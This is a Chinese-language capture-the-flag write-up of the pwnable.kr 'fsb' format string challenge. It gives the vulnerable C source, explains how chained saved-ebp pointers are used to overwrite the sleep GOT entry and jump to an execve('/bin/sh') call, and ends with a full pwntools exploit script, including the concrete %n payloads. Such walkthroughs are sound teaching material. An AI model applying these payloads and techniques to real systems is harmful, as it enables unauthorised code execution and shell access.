这是一道有趣的格式化字符串漏洞(Format string bug)。
题目源码
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
可以很明显地看见,漏洞的利用点在:
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
从这个循环里可以看见,漏洞可以利用4次,而且重要的是buf是全局变量,也就是buf的数据在堆里,所以在buf里写入exp然后想办法跳转执行的思路是行不通的,因为通过%n只能修改栈上的数据。
一开始苦思冥想而不知(太菜),只能去查资料,查到一个有用的:
链接:http://phrack.org/issues/59/7.html
思路大概是这样的,因为当前函数的ebp总是保存着上一个函数的ebp地址,也就是说当前函数的ebp指向的是前一个函数的ebp。而且2个ebp都是可写的,那么通过修改2个ebp的内容,就可以实现任意内存的写。
找出2个ebp到栈上格式化字符串地址的偏移。
可以看见寄存器区里的代码:
EBP: 0xffe63588 --> 0xffe758e8 --> 0x0
ESP: 0xffe63540 --> 0x0
0xffe63588就是fsb函数的ebp,里面存着main函数的ebp0xffe758e8。
从图-2中可以看出buf的地址为:0x804a100,且这个地址在调用printf函数之前放在了esp上,esp此时的地址是0xffe63540,ebp的地址是0xffe63588。
又因为x86下栈是4个字节对齐的,printf参数从右往左压入栈中,比如:
printf("%1000c%s",s,n);
这句话中esp存储”%1000c%s”字符串的地址,esp+4存储变量s的地址,esp+8存储变量n的地址。那么通过
printf("%08x%08x....")
可以泄露栈中esp之上的所有地址。我们知道,fsb函数中,(ebp-esp)/4=(0xffe6358-0xffe63540)/4=18,偏移量18是不会随地址随机化改变而改变的。而且,在调式时,我们知道,esp+14处的内容正好是esp+0x50,这个偏移也是固定不变的。
那么输入"%14$08x%18$08x"
,得到的2个结果,第一个就是esp+50,第二个就是ebp。
2. 在fsb函数的ebp里写入sleep函数在got表中的地址
该地址可以通过readelf -r fsb
查询,查得的地址是:0x0804a008。
0x0804a008转化为10进制为:134520840。
所以第二次输入:%134520840c%18$n
。这样fsb函数的ebp中就写入了0x0804a00。fsb函数的ebp指向main函数的ebp,那么将main函数的ebp内容修改为shellcode,当触发sleep函数的时候,就调用了shellcode。
3. 在main函数的ebp里写入shellcode的起始地址
ffb8b510ffb8d5a8
假设在第一步的时候,那么就得到esp=0xffb8b510-0x50=0xffb8b4c0,[ebp]=0xffb8d5a8,要修改main函数的ebp,同第二步类似,算出偏移量offset=([ebp]-esp)/4=2106
,因为在代码区,前2个字节不变,只需修改后面2个字节,所以第3次输入:
%34475c%2106$hn
34475=(0x080486ab&0xffff),x080486ab是execve(args[0], args, 0);在代码区中的地址。
4. 随意输入内容(陷阱)
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
再仔细看下这段代码,发现有一个致命的问题就是buf是没有清空的,也就是说,最后一次写的buf如果长度不足,只会覆盖buf的前面几个字节。
如果第4次只输入一个字母’A’,那么造成的结果就是:buf的内容变成了—“A34475c%2106$hn”,那么main函数中ebp就会被再次覆写为7,此时执行会报段错误,这里调式了好多次才发现了这个错误(就怕流氓有耐心),所有第4次至少写8个字符覆盖第2个”%”。
终上所述,最后给出用pwntools写的脚本
#encoding=utf-8
from pwn import *
p=ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')
sleep_got=0x0804a008
shellcode=0x080486ab
p.recvuntil("(1)\n")
exp_1="%14$08x%18$08x"
print "[+]exp_1=%s"%exp_1
p.sendline(exp_1)
esp=int(p.recv(8),16)-0x50#格式化字符串的地址
ebp=int(p.recv(8),16)
offset=(ebp-esp)/4
print "esp:%s" %hex(esp)
print "ebp:%s" %hex(ebp)
print "offset:%s" %offset
p.recvuntil("(2)\n")
exp_2="%%%dc"%(sleep_got)+"%18$n"
print "[+]exp_2=%s"%exp_2
p.sendline(exp_2)
p.recvuntil("(3)\n")
exp_3=("%%%dc"%(shellcode&0xffff)) + "%%%d$hn"%(offset)
print "[+]exp_3=%s"%exp_3
p.sendline(exp_3)
p.recvuntil("(4)\n")
exp_4="AAAAAAAA" #这里至少是8个字符(加上\n),覆盖%34475c%2106$hn中的头8个字符,不会造成二次写
print "[+]exp_4=%s"%exp_4
p.sendline(exp_4)
#p.recvuntil("Wait a sec...\n")
p.interactive()
这种利用ebp去构造指针的思路依然可以用于其他会造成内存任意读写的漏洞,思路很美妙,深深地佩服第一个想到这种思路的人。